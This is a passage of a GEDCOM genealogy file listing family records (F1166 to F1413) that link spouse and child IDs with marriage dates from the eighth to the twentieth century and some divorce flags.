+0 @F1166@ FAM
+1 HUSB @I2467@
+1 CHIL @I1557@
+0 @F1167@ FAM
+1 HUSB @I2468@
+1 CHIL @I2467@
+0 @F1168@ FAM
+1 HUSB @I1869@
+1 WIFE @I2475@
+1 MARR
+2 DATE        1154
+0 @F1169@ FAM
+1 HUSB @I1869@
+1 WIFE @I2476@
+1 CHIL @I2451@
+1 MARR
+2 DATE        1160
+0 @F1170@ FAM
+1 HUSB @I2451@
+1 WIFE @I2478@
+1 DIV Y
+1 MARR
+2 DATE        1193
+0 @F1171@ FAM
+1 HUSB @I2451@
+1 WIFE @I2479@
+1 CHIL @I2480@
+1 DIV Y
+1 MARR
+2 DATE        1196
+0 @F1172@ FAM
+1 HUSB @I2483@
+1 CHIL @I2482@
+0 @F1173@ FAM
+1 HUSB @I2488@
+1 CHIL @I2487@
+0 @F1174@ FAM
+1 HUSB @I2489@
+1 CHIL @I2488@
+0 @F1175@ FAM
+1 HUSB @I2465@
+1 WIFE @I2490@
+1 MARR
+2 DATE        1307
+0 @F1176@ FAM
+1 HUSB @I1743@
+1 WIFE @I2491@
+1 DIV Y
+1 MARR
+2 DATE        1307
+0 @F1177@ FAM
+1 HUSB @I1743@
+1 WIFE @I2492@
+1 MARR
+2 DATE 21 SEP 1322
+0 @F1178@ FAM
+1 HUSB @I1743@
+1 WIFE @I2493@
+1 MARR
+2 DATE    JUL 1325
+0 @F1179@ FAM
+1 HUSB @I2495@
+1 CHIL @I2494@
+1 CHIL @I2520@
+0 @F1180@ FAM
+1 HUSB @I2494@
+1 WIFE @I2496@
+1 CHIL @I2498@
+1 MARR
+2 DATE    JUL 1313
+0 @F1181@ FAM
+1 HUSB @I2494@
+1 WIFE @I2497@
+1 MARR
+2 DATE        1349
+0 @F1182@ FAM
+1 HUSB @I2499@
+1 WIFE @I2500@
+1 CHIL @I2075@
+1 CHIL @I2501@
+1 CHIL @I2502@
+1 CHIL @I2503@
+1 MARR
+2 DATE  8 APR 1350
+0 @F1183@ FAM
+1 HUSB @I2504@
+1 CHIL @I1423@
+0 @F1184@ FAM
+1 HUSB @I740@
+1 WIFE @I2505@
+1 MARR
+2 DATE 18 AUG 1572
+0 @F1185@ FAM
+1 HUSB @I894@
+1 WIFE @I587@
+1 CHIL @I1424@
+1 CHIL @I898@
+1 CHIL @I897@
+1 CHIL @I2506@
+0 @F1186@ FAM
+1 HUSB @I897@
+1 WIFE @I2508@
+1 CHIL @I2509@
+1 CHIL @I2510@
+0 @F1187@ FAM
+1 HUSB @I2511@
+1 WIFE @I1705@
+1 CHIL @I245@
+0 @F1188@ FAM
+1 HUSB @I2513@
+1 WIFE @I2514@
+1 CHIL @I2511@
+0 @F1189@ FAM
+1 HUSB @I2515@
+1 CHIL @I2513@
+0 @F1190@ FAM
+1 HUSB @I2516@
+1 CHIL @I2515@
+0 @F1191@ FAM
+1 HUSB @I2517@
+1 WIFE @I2919@
+1 CHIL @I2516@
+1 CHIL @I2921@
+0 @F1192@ FAM
+1 HUSB @I2498@
+1 WIFE @I2519@
+1 CHIL @I2499@
+1 CHIL @I2518@
+1 MARR
+2 DATE 28 JUL 1332
+0 @F1193@ FAM
+1 HUSB @I2521@
+1 WIFE @I2520@
+0 @F1194@ FAM
+1 HUSB @I2525@
+1 CHIL @I2524@
+0 @F1195@ FAM
+1 HUSB @I2530@
+1 WIFE @I2531@
+1 CHIL @I2532@
+1 CHIL @I440@
+0 @F1196@ FAM
+1 HUSB @I2457@
+1 WIFE @I2536@
+1 CHIL @I2534@
+0 @F1197@ FAM
+1 HUSB @I2537@
+1 WIFE @I2538@
+1 CHIL @I2540@
+1 MARR
+2 DATE 18 DEC 1422
+0 @F1198@ FAM
+1 WIFE @I2539@
+1 CHIL @I2538@
+0 @F1199@ FAM
+1 HUSB @I2540@
+1 WIFE @I2541@
+1 MARR
+2 DATE 24 JUN 1436
+0 @F1200@ FAM
+1 HUSB @I2540@
+1 WIFE @I2542@
+1 CHIL @I2544@
+1 CHIL @I2543@
+1 MARR
+2 DATE 14 FEB 1457
+0 @F1201@ FAM
+1 HUSB @I838@
+1 WIFE @I2548@
+1 CHIL @I2440@
+1 MARR
+2 DATE  8 JAN 1499
+0 @F1202@ FAM
+1 HUSB @I417@
+1 WIFE @I2550@
+1 CHIL @I2551@
+1 CHIL @I2552@
+1 CHIL @I2553@
+1 CHIL @I2554@
+1 MARR
+2 DATE         771
+0 @F1203@ FAM
+1 HUSB @I417@
+1 WIFE @I2555@
+1 MARR
+2 DATE         784
+0 @F1204@ FAM
+1 HUSB @I417@
+1 WIFE @I2556@
+1 MARR
+2 DATE         794
+0 @F1205@ FAM
+1 HUSB @I2552@
+1 WIFE @I2557@
+1 CHIL @I2565@
+0 @F1206@ FAM
+1 HUSB @I2553@
+1 WIFE @I2558@
+1 CHIL @I2560@
+1 CHIL @I2561@
+1 CHIL @I2562@
+1 CHIL @I2563@
+1 MARR
+2 DATE         798
+0 @F1207@ FAM
+1 HUSB @I2553@
+1 WIFE @I2559@
+1 CHIL @I2564@
+0 @F1208@ FAM
+1 HUSB @I2560@
+1 WIFE @I2566@
+1 CHIL @I2567@
+1 CHIL @I2568@
+1 CHIL @I2569@
+0 @F1209@ FAM
+1 HUSB @I2561@
+1 CHIL @I2570@
+0 @F1210@ FAM
+1 HUSB @I2563@
+1 WIFE @I2571@
+1 CHIL @I2572@
+1 CHIL @I2573@
+1 CHIL @I2574@
+0 @F1211@ FAM
+1 HUSB @I2564@
+1 WIFE @I2575@
+1 CHIL @I2576@
+1 CHIL @I2577@
+1 CHIL @I2578@
+1 CHIL @I2579@
+1 MARR
+2 DATE         842
+0 @F1212@ FAM
+1 HUSB @I2576@
+1 WIFE @I2580@
+1 CHIL @I2581@
+1 CHIL @I2582@
+1 MARR
+2 DATE         862
+0 @F1213@ FAM
+1 HUSB @I2576@
+1 WIFE @I2583@
+1 CHIL @I2584@
+0 @F1214@ FAM
+1 HUSB @I2584@
+1 WIFE @I2585@
+1 CHIL @I2604@
+1 MARR
+2 DATE         917
+0 @F1215@ FAM
+1 HUSB @I2567@
+1 WIFE @I2586@
+1 CHIL @I2587@
+0 @F1216@ FAM
+1 HUSB @I2588@
+1 WIFE @I2587@
+1 CHIL @I2589@
+0 @F1217@ FAM
+1 HUSB @I2568@
+1 WIFE @I2590@
+0 @F1218@ FAM
+1 HUSB @I2568@
+1 WIFE @I2591@
+0 @F1219@ FAM
+1 HUSB @I2572@
+1 WIFE @I2592@
+1 CHIL @I2593@
+0 @F1220@ FAM
+1 HUSB @I2593@
+1 WIFE @I2594@
+1 CHIL @I2595@
+1 CHIL @I2596@
+1 CHIL @I2597@
+0 @F1221@ FAM
+1 HUSB @I2598@
+1 WIFE @I2597@
+1 CHIL @I2599@
+0 @F1222@ FAM
+1 HUSB @I2599@
+1 WIFE @I2600@
+1 CHIL @I2601@
+1 CHIL @I2602@
+1 CHIL @I2603@
+0 @F1223@ FAM
+1 HUSB @I2604@
+1 WIFE @I2603@
+1 CHIL @I2605@
+1 CHIL @I2606@
+0 @F1224@ FAM
+1 HUSB @I2605@
+1 CHIL @I2607@
+1 CHIL @I2608@
+0 @F1225@ FAM
+1 HUSB @I2609@
+1 WIFE @I2610@
+1 CHIL @I417@
+1 CHIL @I2611@
+0 @F1226@ FAM
+1 HUSB @I2611@
+1 WIFE @I2612@
+0 @F1227@ FAM
+1 HUSB @I2613@
+1 CHIL @I2609@
+0 @F1228@ FAM
+1 HUSB @I2895@
+1 WIFE @I2896@
+1 CHIL @I2614@
+1 MARR
+2 DATE        1754
+0 @F1229@ FAM
+1 HUSB @I2522@
+1 WIFE @I2615@
+1 CHIL @I2616@
+1 MARR
+2 DATE 26 NOV 1570
+0 @F1230@ FAM
+1 HUSB @I2523@
+1 WIFE @I2617@
+1 MARR
+2 DATE 15 FEB 1575
+0 @F1231@ FAM
+1 HUSB @I1739@
+1 WIFE @I2618@
+1 MARR
+2 DATE        1262
+0 @F1232@ FAM
+1 HUSB @I2464@
+1 WIFE @I2619@
+1 MARR
+2 DATE        1305
+0 @F1233@ FAM
+1 HUSB @I2498@
+1 WIFE @I2620@
+1 MARR
+2 DATE 19 FEB 1350
+0 @F1234@ FAM
+1 HUSB @I493@
+1 WIFE @I2621@
+1 MARR
+2 DATE        1868
+0 @F1235@ FAM
+1 HUSB @I2622@
+1 CHIL @I358@
+0 @F1236@ FAM
+1 HUSB @I2623@
+1 CHIL @I489@
+0 @F1237@ FAM
+1 HUSB @I2624@
+1 WIFE @I499@
+1 MARR
+2 DATE        1864
+0 @F1238@ FAM
+1 HUSB @I498@
+1 WIFE @I2625@
+1 MARR
+2 DATE        1884
+0 @F1239@ FAM
+1 HUSB @I2626@
+1 CHIL @I2625@
+0 @F1240@ FAM
+1 HUSB @I497@
+1 WIFE @I2627@
+1 MARR
+2 DATE        1878
+0 @F1241@ FAM
+1 HUSB @I497@
+1 WIFE @I2628@
+1 MARR
+2 DATE        1892
+0 @F1242@ FAM
+1 HUSB @I2632@
+1 CHIL @I464@
+0 @F1243@ FAM
+1 HUSB @I683@
+1 WIFE @I2633@
+1 MARR
+2 DATE        1878
+0 @F1244@ FAM
+1 HUSB @I2636@
+1 WIFE @I2634@
+1 MARR
+2 DATE        1901
+0 @F1245@ FAM
+1 HUSB @I2636@
+1 WIFE @I2637@
+1 CHIL @I434@
+1 MARR
+2 DATE        1907
+0 @F1246@ FAM
+1 HUSB @I2638@
+1 WIFE @I592@
+1 MARR
+2 DATE        1967
+0 @F1247@ FAM
+1 HUSB @I2639@
+1 WIFE @I593@
+1 MARR
+2 DATE        1972
+0 @F1248@ FAM
+1 HUSB @I430@
+1 WIFE @I2640@
+1 DIV Y
+1 MARR
+2 DATE        1933
+0 @F1249@ FAM
+1 HUSB @I430@
+1 WIFE @I2641@
+1 DIV Y
+1 MARR
+2 DATE        1937
+0 @F1250@ FAM
+1 HUSB @I2644@
+1 WIFE @I2642@
+1 MARR
+2 DATE        1940
+0 @F1251@ FAM
+1 HUSB @I2645@
+1 WIFE @I433@
+1 MARR
+2 DATE        1935
+0 @F1252@ FAM
+1 HUSB @I591@
+1 WIFE @I2646@
+1 DIV Y
+1 MARR
+2 DATE        1935
+0 @F1253@ FAM
+1 HUSB @I591@
+1 WIFE @I2647@
+1 MARR
+2 DATE        1949
+0 @F1254@ FAM
+1 HUSB @I2648@
+1 WIFE @I2635@
+1 MARR
+2 DATE        1906
+0 @F1255@ FAM
+1 HUSB @I2649@
+1 WIFE @I2650@
+1 CHIL @I2648@
+0 @F1256@ FAM
+1 HUSB @I2651@
+1 WIFE @I2652@
+1 CHIL @I1214@
+0 @F1257@ FAM
+1 HUSB @I415@
+1 WIFE @I2653@
+1 MARR
+2 DATE        1790
+0 @F1258@ FAM
+1 HUSB @I1690@
+1 WIFE @I2656@
+1 MARR
+2 DATE        1853
+0 @F1259@ FAM
+1 HUSB @I1690@
+1 WIFE @I2657@
+1 MARR
+2 DATE        1878
+0 @F1260@ FAM
+1 HUSB @I2658@
+1 WIFE @I2659@
+1 CHIL @I1313@
+0 @F1261@ FAM
+1 HUSB @I2660@
+1 WIFE @I2661@
+1 CHIL @I1312@
+0 @F1262@ FAM
+1 HUSB @I2663@
+1 WIFE @I2664@
+1 CHIL @I2662@
+0 @F1263@ FAM
+1 HUSB @I2665@
+1 WIFE @I2667@
+1 MARR
+2 DATE        1856
+0 @F1264@ FAM
+1 HUSB @I2666@
+1 WIFE @I2668@
+1 CHIL @I2669@
+1 CHIL @I2670@
+1 CHIL @I2674@
+1 CHIL @I2675@
+1 CHIL @I2672@
+1 MARR
+2 DATE        1857
+0 @F1265@ FAM
+1 HUSB @I2674@
+1 WIFE @I2673@
+1 MARR
+2 DATE        1900
+0 @F1266@ FAM
+1 HUSB @I2670@
+1 WIFE @I2676@
+1 MARR
+2 DATE        1891
+0 @F1267@ FAM
+1 HUSB @I165@
+1 WIFE @I2678@
+1 CHIL @I2681@
+1 MARR
+2 DATE        1882
+0 @F1268@ FAM
+1 HUSB @I2671@
+1 WIFE @I2679@
+1 CHIL @I2684@
+1 CHIL @I2685@
+1 CHIL @I2686@
+1 MARR
+2 DATE        1884
+0 @F1269@ FAM
+1 HUSB @I2680@
+1 CHIL @I2679@
+0 @F1270@ FAM
+1 HUSB @I2682@
+1 CHIL @I157@
+0 @F1271@ FAM
+1 HUSB @I2683@
+1 CHIL @I589@
+0 @F1272@ FAM
+1 HUSB @I2684@
+1 WIFE @I2687@
+1 MARR
+2 DATE        1911
+0 @F1273@ FAM
+1 HUSB @I2688@
+1 CHIL @I2687@
+0 @F1274@ FAM
+1 HUSB @I2689@
+1 WIFE @I2690@
+1 CHIL @I1295@
+1 MARR
+2 DATE        1753
+0 @F1275@ FAM
+1 HUSB @I2691@
+1 WIFE @I2692@
+1 CHIL @I1299@
+0 @F1276@ FAM
+1 HUSB @I466@
+1 WIFE @I2839@
+1 CHIL @I2693@
+1 CHIL @I2842@
+1 MARR
+2 DATE        1907
+0 @F1277@ FAM
+1 HUSB @I2694@
+1 CHIL @I1828@
+0 @F1278@ FAM
+1 HUSB @I2695@
+1 WIFE @I2696@
+1 CHIL @I607@
+1 MARR
+2 DATE        1879
+0 @F1279@ FAM
+1 HUSB @I2698@
+1 WIFE @I2697@
+1 MARR
+2 DATE        1896
+0 @F1280@ FAM
+1 HUSB @I2702@
+1 WIFE @I2703@
+1 MARR
+2 DATE        1948
+0 @F1281@ FAM
+1 HUSB @I1675@
+1 WIFE @I2704@
+1 MARR
+2 DATE        1968
+0 @F1282@ FAM
+1 HUSB @I2705@
+1 CHIL @I453@
+0 @F1283@ FAM
+1 HUSB @I2706@
+1 WIFE @I2709@
+1 MARR
+2 DATE        1969
+0 @F1284@ FAM
+1 HUSB @I2707@
+1 WIFE @I2710@
+1 MARR
+2 DATE        1973
+0 @F1285@ FAM
+1 HUSB @I2713@
+1 WIFE @I2526@
+1 CHIL @I2714@
+1 CHIL @I2715@
+1 CHIL @I2716@
+1 MARR
+2 DATE 30 JUN 1964
+0 @F1286@ FAM
+1 HUSB @I2717@
+1 WIFE @I2527@
+1 CHIL @I2718@
+1 CHIL @I2719@
+1 CHIL @I2720@
+1 MARR
+2 DATE 25 MAY 1961
+0 @F1287@ FAM
+1 HUSB @I2721@
+1 WIFE @I2528@
+1 CHIL @I2722@
+1 CHIL @I2723@
+1 CHIL @I2724@
+1 MARR
+2 DATE  5 JUN 1964
+0 @F1288@ FAM
+1 HUSB @I2725@
+1 WIFE @I2529@
+1 CHIL @I2726@
+1 CHIL @I2727@
+1 CHIL @I2728@
+1 MARR
+2 DATE 15 JUN 1974
+0 @F1289@ FAM
+1 HUSB @I447@
+1 WIFE @I2730@
+1 MARR
+2 DATE 30 JUL 1961
+0 @F1290@ FAM
+1 HUSB @I448@
+1 WIFE @I2731@
+1 MARR
+2 DATE  7 DEC 1976
+0 @F1291@ FAM
+1 HUSB @I447@
+1 WIFE @I2732@
+1 DIV Y
+1 MARR
+2 DATE        1934
+0 @F1292@ FAM
+1 HUSB @I447@
+1 WIFE @I2733@
+1 CHIL @I2740@
+1 DIV Y
+1 MARR
+2 DATE        1943
+0 @F1293@ FAM
+1 HUSB @I449@
+1 WIFE @I2734@
+1 CHIL @I2742@
+1 CHIL @I2743@
+1 MARR
+2 DATE 19 FEB 1946
+0 @F1294@ FAM
+1 HUSB @I449@
+1 WIFE @I2735@
+1 MARR
+2 DATE 29 SEP 1988
+0 @F1295@ FAM
+1 HUSB @I1409@
+1 WIFE @I2736@
+1 CHIL @I2745@
+1 CHIL @I2746@
+1 CHIL @I2747@
+1 CHIL @I2748@
+1 DIV Y
+1 MARR
+2 DATE 11 MAR 1932
+2 PLAC London,England
+0 @F1296@ FAM
+1 HUSB @I1409@
+1 WIFE @I2737@
+1 CHIL @I2767@
+1 CHIL @I2768@
+1 CHIL @I2769@
+1 MARR
+2 DATE 29 APR 1972
+0 @F1297@ FAM
+1 HUSB @I2738@
+1 WIFE @I2739@
+1 MARR
+2 DATE  8 JUN 1978
+0 @F1298@ FAM
+1 HUSB @I2740@
+1 WIFE @I2741@
+1 MARR
+2 DATE        1976
+0 @F1299@ FAM
+1 HUSB @I2744@
+1 WIFE @I2742@
+1 MARR
+2 DATE        1975
+0 @F1300@ FAM
+1 HUSB @I2749@
+1 WIFE @I2745@
+1 CHIL @I2750@
+1 CHIL @I2751@
+1 CHIL @I2752@
+1 CHIL @I2753@
+1 CHIL @I2754@
+1 MARR
+2 DATE        1955
+0 @F1301@ FAM
+1 HUSB @I2755@
+1 WIFE @I2746@
+1 CHIL @I2756@
+1 CHIL @I2757@
+1 CHIL @I2758@
+1 MARR
+2 DATE        1956
+0 @F1302@ FAM
+1 HUSB @I2747@
+1 WIFE @I2759@
+1 MARR
+2 DATE        1965
+0 @F1303@ FAM
+1 HUSB @I2747@
+1 WIFE @I2760@
+1 CHIL @I2761@
+1 MARR
+2 DATE        1967
+0 @F1304@ FAM
+1 HUSB @I2747@
+1 WIFE @I2762@
+1 CHIL @I2763@
+1 MARR
+2 DATE        1972
+0 @F1305@ FAM
+1 HUSB @I2747@
+1 WIFE @I2764@
+1 CHIL @I2765@
+1 MARR
+2 DATE        1975
+0 @F1306@ FAM
+1 HUSB @I2766@
+1 WIFE @I2748@
+1 MARR
+2 DATE        1967
+0 @F1307@ FAM
+1 HUSB @I2770@
+1 WIFE @I2772@
+1 CHIL @I2773@
+1 CHIL @I2774@
+1 CHIL @I2775@
+1 CHIL @I2776@
+1 CHIL @I2777@
+1 MARR
+2 DATE        1888
+0 @F1308@ FAM
+1 HUSB @I2778@
+1 CHIL @I2772@
+0 @F1309@ FAM
+1 HUSB @I2774@
+1 WIFE @I2779@
+1 CHIL @I2780@
+1 CHIL @I2781@
+1 CHIL @I2782@
+1 MARR
+2 DATE        1915
+0 @F1310@ FAM
+1 HUSB @I2783@
+1 WIFE @I2780@
+1 CHIL @I2784@
+1 CHIL @I2785@
+1 CHIL @I2786@
+1 CHIL @I2787@
+1 CHIL @I2788@
+1 MARR
+2 DATE        1936
+0 @F1311@ FAM
+1 HUSB @I2789@
+1 WIFE @I2784@
+1 CHIL @I2790@
+1 MARR
+2 DATE        1958
+0 @F1312@ FAM
+1 HUSB @I2791@
+1 WIFE @I2785@
+1 CHIL @I2792@
+1 CHIL @I2793@
+1 MARR
+2 DATE        1961
+0 @F1313@ FAM
+1 HUSB @I2794@
+1 WIFE @I2786@
+1 CHIL @I2795@
+1 CHIL @I2796@
+1 MARR
+2 DATE        1970
+0 @F1314@ FAM
+1 HUSB @I2797@
+1 WIFE @I2787@
+1 MARR
+2 DATE        1976
+0 @F1315@ FAM
+1 HUSB @I2781@
+1 WIFE @I2798@
+1 CHIL @I2799@
+1 MARR
+2 DATE        1944
+0 @F1316@ FAM
+1 HUSB @I2800@
+1 WIFE @I2799@
+1 CHIL @I2801@
+1 CHIL @I2802@
+1 MARR
+2 DATE        1970
+0 @F1317@ FAM
+1 HUSB @I2781@
+1 WIFE @I2803@
+1 CHIL @I2804@
+1 CHIL @I2806@
+1 CHIL @I2807@
+1 MARR
+2 DATE        1950
+0 @F1318@ FAM
+1 HUSB @I2805@
+1 WIFE @I2804@
+1 MARR
+2 DATE        1977
+0 @F1319@ FAM
+1 HUSB @I2808@
+1 WIFE @I2782@
+1 CHIL @I2809@
+1 CHIL @I2810@
+1 CHIL @I2811@
+1 MARR
+2 DATE        1948
+0 @F1320@ FAM
+1 HUSB @I2774@
+1 WIFE @I2812@
+1 CHIL @I2813@
+1 MARR
+2 DATE        1937
+0 @F1321@ FAM
+1 HUSB @I2813@
+1 WIFE @I2814@
+1 CHIL @I2815@
+1 CHIL @I2816@
+1 MARR
+2 DATE        1969
+0 @F1322@ FAM
+1 HUSB @I2817@
+1 WIFE @I2775@
+1 MARR
+2 DATE        1918
+0 @F1323@ FAM
+1 HUSB @I2818@
+1 WIFE @I2776@
+1 MARR
+2 DATE        1929
+0 @F1324@ FAM
+1 HUSB @I2777@
+1 WIFE @I2819@
+1 CHIL @I2820@
+1 CHIL @I2821@
+1 CHIL @I2822@
+1 CHIL @I2823@
+1 MARR
+2 DATE        1928
+0 @F1325@ FAM
+1 HUSB @I2821@
+1 WIFE @I2824@
+1 CHIL @I2825@
+1 CHIL @I2826@
+1 CHIL @I2827@
+1 CHIL @I2828@
+1 MARR
+2 DATE        1955
+0 @F1326@ FAM
+1 HUSB @I2830@
+1 WIFE @I2829@
+1 MARR
+2 DATE        1919
+0 @F1327@ FAM
+1 HUSB @I2738@
+1 WIFE @I2831@
+1 CHIL @I2832@
+1 MARR
+2 DATE        1937
+0 @F1328@ FAM
+1 HUSB @I2833@
+1 WIFE @I2832@
+1 CHIL @I2834@
+1 CHIL @I2835@
+1 CHIL @I2836@
+1 CHIL @I2837@
+1 MARR
+2 DATE        1962
+0 @F1329@ FAM
+1 HUSB @I2738@
+1 WIFE @I2838@
+1 MARR
+2 DATE        1954
+0 @F1330@ FAM
+1 HUSB @I2840@
+1 CHIL @I2839@
+0 @F1331@ FAM
+1 HUSB @I2693@
+1 WIFE @I2841@
+1 MARR
+2 DATE        1939
+0 @F1332@ FAM
+1 HUSB @I2843@
+1 WIFE @I2842@
+1 DIV Y
+1 MARR
+2 DATE        1938
+0 @F1333@ FAM
+1 HUSB @I2844@
+1 WIFE @I2842@
+1 DIV Y
+1 MARR
+2 DATE        1949
+0 @F1334@ FAM
+1 HUSB @I465@
+1 WIFE @I2845@
+1 CHIL @I2848@
+1 MARR
+2 DATE        1920
+0 @F1335@ FAM
+1 HUSB @I465@
+1 WIFE @I2846@
+1 MARR
+2 DATE        1929
+0 @F1336@ FAM
+1 HUSB @I2847@
+1 WIFE @I2673@
+1 MARR
+2 DATE        1922
+0 @F1337@ FAM
+1 HUSB @I2848@
+1 WIFE @I2849@
+1 MARR
+2 DATE        1965
+0 @F1338@ FAM
+1 HUSB @I2851@
+1 WIFE @I2850@
+1 MARR
+2 DATE        1749
+0 @F1339@ FAM
+1 HUSB @I2852@
+1 WIFE @I1638@
+1 MARR
+2 DATE        1766
+0 @F1340@ FAM
+1 HUSB @I2853@
+1 WIFE @I1639@
+1 MARR
+2 DATE        1763
+0 @F1341@ FAM
+1 HUSB @I2859@
+1 WIFE @I2858@
+1 MARR
+2 DATE        1680
+0 @F1342@ FAM
+1 HUSB @I2863@
+1 WIFE @I1828@
+1 MARR
+2 DATE        1445
+0 @F1343@ FAM
+1 HUSB @I1468@
+1 WIFE @I2864@
+1 MARR
+2 DATE        1478
+0 @F1344@ FAM
+1 HUSB @I1470@
+1 WIFE @I2865@
+1 CHIL @I1484@
+1 MARR
+2 DATE        1480
+0 @F1345@ FAM
+1 HUSB @I1246@
+1 WIFE @I2875@
+1 MARR
+2 DATE        1802
+0 @F1346@ FAM
+1 HUSB @I1246@
+1 WIFE @I2876@
+1 MARR
+2 DATE        1816
+0 @F1347@ FAM
+1 HUSB @I1246@
+1 WIFE @I2877@
+1 MARR
+2 DATE        1819
+0 @F1348@ FAM
+1 HUSB @I2878@
+1 WIFE @I2879@
+1 CHIL @I1246@
+1 MARR
+2 DATE        1765
+0 @F1349@ FAM
+1 HUSB @I2880@
+1 WIFE @I2881@
+1 CHIL @I2878@
+1 MARR
+2 DATE        1738
+0 @F1350@ FAM
+1 HUSB @I2424@
+1 WIFE @I2883@
+1 MARR
+2 DATE        1701
+0 @F1351@ FAM
+1 HUSB @I2884@
+1 CHIL @I1017@
+0 @F1352@ FAM
+1 HUSB @I2885@
+1 WIFE @I2100@
+1 CHIL @I2894@
+1 CHIL @I871@
+1 MARR
+2 DATE        1496
+0 @F1353@ FAM
+1 HUSB @I840@
+1 WIFE @I2886@
+1 MARR
+2 DATE        1506
+0 @F1354@ FAM
+1 HUSB @I2890@
+1 WIFE @I2887@
+1 MARR
+2 DATE        1490
+0 @F1355@ FAM
+1 WIFE @I2887@
+1 MARR
+2 DATE        1497
+0 @F1356@ FAM
+1 HUSB @I2889@
+1 WIFE @I2892@
+1 MARR
+2 DATE        1497
+0 @F1357@ FAM
+1 HUSB @I2893@
+1 WIFE @I2892@
+1 MARR
+2 DATE        1501
+0 @F1358@ FAM
+1 HUSB @I2891@
+1 WIFE @I2894@
+1 MARR
+2 DATE        1519
+0 @F1359@ FAM
+1 HUSB @I1816@
+1 WIFE @I2894@
+1 MARR
+2 DATE  8 JUL 1530
+0 @F1360@ FAM
+1 HUSB @I2897@
+1 WIFE @I2898@
+1 CHIL @I2448@
+1 MARR
+2 DATE        1749
+0 @F1361@ FAM
+1 HUSB @I2899@
+1 CHIL @I1202@
+0 @F1362@ FAM
+1 HUSB @I2900@
+1 WIFE @I1116@
+1 MARR
+2 DATE        1896
+0 @F1363@ FAM
+1 HUSB @I2904@
+1 WIFE @I2903@
+1 MARR
+2 DATE        1910
+0 @F1364@ FAM
+1 HUSB @I2905@
+1 WIFE @I2902@
+1 MARR
+2 DATE        1881
+0 @F1365@ FAM
+1 HUSB @I2906@
+1 WIFE @I2902@
+1 MARR
+2 DATE        1900
+0 @F1366@ FAM
+1 HUSB @I2907@
+1 WIFE @I2901@
+1 DIV Y
+1 MARR
+2 DATE        1875
+0 @F1367@ FAM
+1 HUSB @I2448@
+1 WIFE @I2908@
+1 MARR
+2 DATE        1776
+0 @F1368@ FAM
+1 HUSB @I139@
+1 WIFE @I206@
+1 MARR
+2 DATE        1832
+0 @F1369@ FAM
+1 HUSB @I1737@
+1 WIFE @I2909@
+1 MARR
+2 DATE        1842
+0 @F1370@ FAM
+1 HUSB @I205@
+1 WIFE @I2910@
+1 MARR
+2 DATE        1816
+0 @F1371@ FAM
+1 HUSB @I2911@
+1 WIFE @I2912@
+1 CHIL @I349@
+1 MARR
+2 DATE        1777
+0 @F1372@ FAM
+1 HUSB @I590@
+1 WIFE @I2914@
+1 CHIL @I2915@
+0 @F1373@ FAM
+1 HUSB @I751@
+1 WIFE @I2916@
+1 CHIL @I2517@
+1 CHIL @I2917@
+0 @F1374@ FAM
+1 HUSB @I2918@
+1 WIFE @I2917@
+0 @F1375@ FAM
+1 HUSB @I2507@
+1 WIFE @I2921@
+0 @F1376@ FAM
+1 HUSB @I2922@
+1 CHIL @I2661@
+0 @F1377@ FAM
+1 HUSB @I2923@
+1 CHIL @I2664@
+0 @F1378@ FAM
+1 HUSB @I2924@
+1 CHIL @I2659@
+0 @F1379@ FAM
+1 HUSB @I159@
+1 WIFE @I2925@
+1 MARR
+2 DATE        1919
+0 @F1380@ FAM
+1 HUSB @I2926@
+1 CHIL @I161@
+0 @F1381@ FAM
+1 HUSB @I588@
+1 WIFE @I235@
+1 MARR
+2 DATE        1934
+0 @F1382@ FAM
+1 HUSB @I2927@
+1 CHIL @I1356@
+0 @F1383@ FAM
+1 HUSB @I2928@
+1 CHIL @I1406@
+0 @F1384@ FAM
+1 HUSB @I169@
+1 WIFE @I2929@
+1 CHIL @I2930@
+1 CHIL @I2931@
+1 CHIL @I2932@
+0 @F1385@ FAM
+1 HUSB @I2933@
+1 CHIL @I821@
+0 @F1386@ FAM
+1 HUSB @I2934@
+1 WIFE @I2935@
+1 CHIL @I2933@
+0 @F1387@ FAM
+1 HUSB @I2936@
+1 WIFE @I2937@
+1 CHIL @I820@
+0 @F1388@ FAM
+1 HUSB @I2938@
+1 WIFE @I2939@
+1 CHIL @I2937@
+0 @F1389@ FAM
+1 HUSB @I2940@
+1 WIFE @I2941@
+1 CHIL @I2939@
+0 @F1390@ FAM
+1 HUSB @I2942@
+1 CHIL @I2943@
+1 CHIL @I2941@
+0 @F1391@ FAM
+1 HUSB @I2943@
+1 CHIL @I2944@
+0 @F1392@ FAM
+1 HUSB @I2944@
+1 WIFE @I2945@
+1 CHIL @I2946@
+0 @F1393@ FAM
+1 HUSB @I2946@
+1 CHIL @I812@
+0 @F1394@ FAM
+1 HUSB @I2948@
+1 CHIL @I2947@
+0 @F1395@ FAM
+1 HUSB @I2949@
+1 CHIL @I2948@
+0 @F1396@ FAM
+1 HUSB @I2950@
+1 CHIL @I2942@
+0 @F1397@ FAM
+1 HUSB @I2951@
+1 CHIL @I2950@
+0 @F1398@ FAM
+1 HUSB @I2952@
+1 CHIL @I2951@
+0 @F1399@ FAM
+1 HUSB @I2953@
+1 CHIL @I2935@
+0 @F1400@ FAM
+1 HUSB @I2954@
+1 WIFE @I2955@
+1 CHIL @I2953@
+0 @F1401@ FAM
+1 HUSB @I2956@
+1 CHIL @I2955@
+0 @F1402@ FAM
+1 HUSB @I2960@
+1 WIFE @I110@
+1 CHIL @I2961@
+1 MARR
+2 DATE    FEB 1990
+0 @F1403@ FAM
+1 HUSB @I242@
+1 WIFE @I2962@
+1 CHIL @I2963@
+1 MARR
+2 DATE ABT    1990
+0 @F1404@ FAM
+1 HUSB @I2965@
+1 WIFE @I2964@
+1 CHIL @I2966@
+0 @F1405@ FAM
+1 HUSB @I2968@
+1 CHIL @I62@
+0 @F1406@ FAM
+1 HUSB @I112@
+1 WIFE @I2969@
+1 MARR
+2 DATE    JAN 1988
+0 @F1407@ FAM
+1 HUSB @I2970@
+1 WIFE @I2969@
+1 DIV Y
+0 @F1408@ FAM
+1 HUSB @I2971@
+1 WIFE @I2972@
+1 CHIL @I2969@
+1 DIV Y
+0 @F1409@ FAM
+1 HUSB @I2976@
+1 WIFE @I138@
+1 MARR
+2 DATE ABT    1802
+0 @F1410@ FAM
+1 HUSB @I54@
+1 WIFE @I2977@
+1 CHIL @I2978@
+1 MARR
+2 DATE 17 DEC 1978
+0 @F1411@ FAM
+1 HUSB @I109@
+1 WIFE @I2979@
+1 MARR
+2 DATE AFT    1989
+0 @F1412@ FAM
+1 HUSB @I2980@
+1 WIFE @I314@
+1 CHIL @I2981@
+0 @F1413@ FAM
